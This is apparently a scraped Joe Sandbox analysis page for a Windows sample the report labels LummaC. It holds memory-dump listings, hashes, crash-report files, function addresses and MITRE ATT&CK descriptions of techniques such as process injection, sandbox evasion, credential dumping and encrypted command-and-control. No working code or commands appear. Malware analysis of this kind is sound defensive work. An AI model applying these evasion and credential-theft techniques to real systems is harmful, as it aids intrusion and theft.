Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30885e83d5526b724987701af94685468963752f4103ea4beb980c3fc3ba2b62
Instruction ID: 325c9f3f24ac0d9d8708fc2ce1454973dc5b100368582a966e9a5f12666508b3
Opcode Fuzzy Hash: 30885e83d5526b724987701af94685468963752f4103ea4beb980c3fc3ba2b62
Instruction Fuzzy Hash: 11B012F0E0D201CA8709CF00E141039FABC738F301F30711DE04B63222C230C1008A8C

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report iaLId0uLUw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_iaLId0uLUw.exe_b62f335e9f4d493cdebb7667725677f0a978d7_83bbfbb4_83c7bda6-830c-450f-af46-78bfd79da3ad\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2F08.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER31D8.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER31F8.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Windows Analysis Report
iaLId0uLUw.exe

Function 00391D00 Relevance: 26.8, Strings: 21, Instructions: 506
COMMON

Function 003A9280 Relevance: 25.2, APIs: 5, Strings: 9, Instructions: 661
memoryCOMMON

Function 0037B100 Relevance: 20.4, Strings: 16, Instructions: 425
COMMON

Function 003939B9 Relevance: 18.3, APIs: 2, Strings: 8, Instructions: 822
COMMON

Function 00381D2B Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 479
COMMON

Function 0038C8A0 Relevance: 15.6, Strings: 12, Instructions: 585
COMMON

Function 003A8EA0 Relevance: 15.3, Strings: 12, Instructions: 287
COMMON

Function 00393B50 Relevance: 12.8, APIs: 2, Strings: 5, Instructions: 600
COMMON

Function 00378600 Relevance: 4.1, Strings: 3, Instructions: 356
COMMON

Function 0039D34A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Function 00379D1E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142
libraryCOMMON

Function 0039D7EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85
COMMON

Function 0039D893 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre